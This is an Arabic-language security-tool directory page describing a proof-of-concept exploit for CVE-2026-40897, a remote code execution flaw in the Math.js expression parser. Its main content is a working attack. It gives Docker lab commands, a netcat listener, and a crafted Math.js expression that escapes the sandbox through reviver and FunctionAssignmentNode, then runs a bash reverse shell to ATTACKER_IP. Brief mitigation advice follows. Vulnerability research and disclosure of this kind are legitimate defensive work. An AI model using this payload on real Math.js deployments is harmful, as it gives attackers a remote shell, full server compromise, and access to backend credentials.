Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40897 — Math.js محلل التعبيرات RCE | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2026-40897
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js محلل التعبيرات RCE

عرض المستودع
2منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40897 تنفيذ التعليمات البرمجية عن بُعد في محلل تعبيرات Math.js

★ CVE-2026-40897 تنفيذ التعليمات البرمجية عن بُعد في Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


نظرة عامة

CVE-2026-40897 هي ثغرة تجاوز الصندوق الرملي (Sandbox Bypass) تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد في محلل تعبيرات Math.js. مرشح isSafeProperty يتحقق فقط من الوصول إلى الخصائص من تعبيرات المستخدم، وليس من مسارات التعليمات البرمجية الداخلية. من خلال تسريب المصفوفة الداخلية لـ ArrayNode عبر toJSON() والكتابة فوق .map الخاصة بها، يمكن للمهاجم إجبار التعليمات البرمجية الداخلية على الوصول إلى Function.constructor وتنفيذ JavaScript تعسفي.


الإصدارات المتأثرة

الفئةالإصدار
المتأثرةMath.js 13.1.1 ≤ الإصدار ≤ 15.1.1
المصححة15.2.0

التأثير

  • تنفيذ تعليمات JavaScript البرمجية التعسفية (RCE)
  • الوصول إلى نظام ملفات المضيف
  • اتصال قشرة عكسية (Reverse Shell) يؤدي إلى اختراق كامل للخادم
  • تسريب بيانات اعتماد الواجهة الخلفية والبيانات الحساسة

البيئة

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

بعد تشغيل البيئة المتأثرة، اتبع الخطوات التالية لإعادة إنتاج الهجوم.

الخطوة 1. تشغيل مستمع القشرة العكسية

root@kitploit:~
nc -lvnp 4444

الخطوة 2. إرسال الحمولة الخبيثة

أرسل التعبير التالي إلى math.evaluate (على سبيل المثال، عبر حقل إدخال الحساب في التطبيق).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

الخطوة 3. تأكيد الوصول إلى القشرة من جانب المهاجم

يتصل الخادم المستهدف مرة أخرى بمستمع المهاجم، مما يمنح قشرة bash تفاعلية.


التخفيف

  • ترقية Math.js إلى إصدار مصحح
  • تجنب تمرير مدخلات المستخدم غير الموثوقة مباشرة إلى math.evaluate()
  • تقييد التعرض للدوال/الفئات الداخلية (reviver, FunctionAssignmentNode, ArrayNode) عبر محلل التعبيرات

التحليل

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
تنزيل الأداة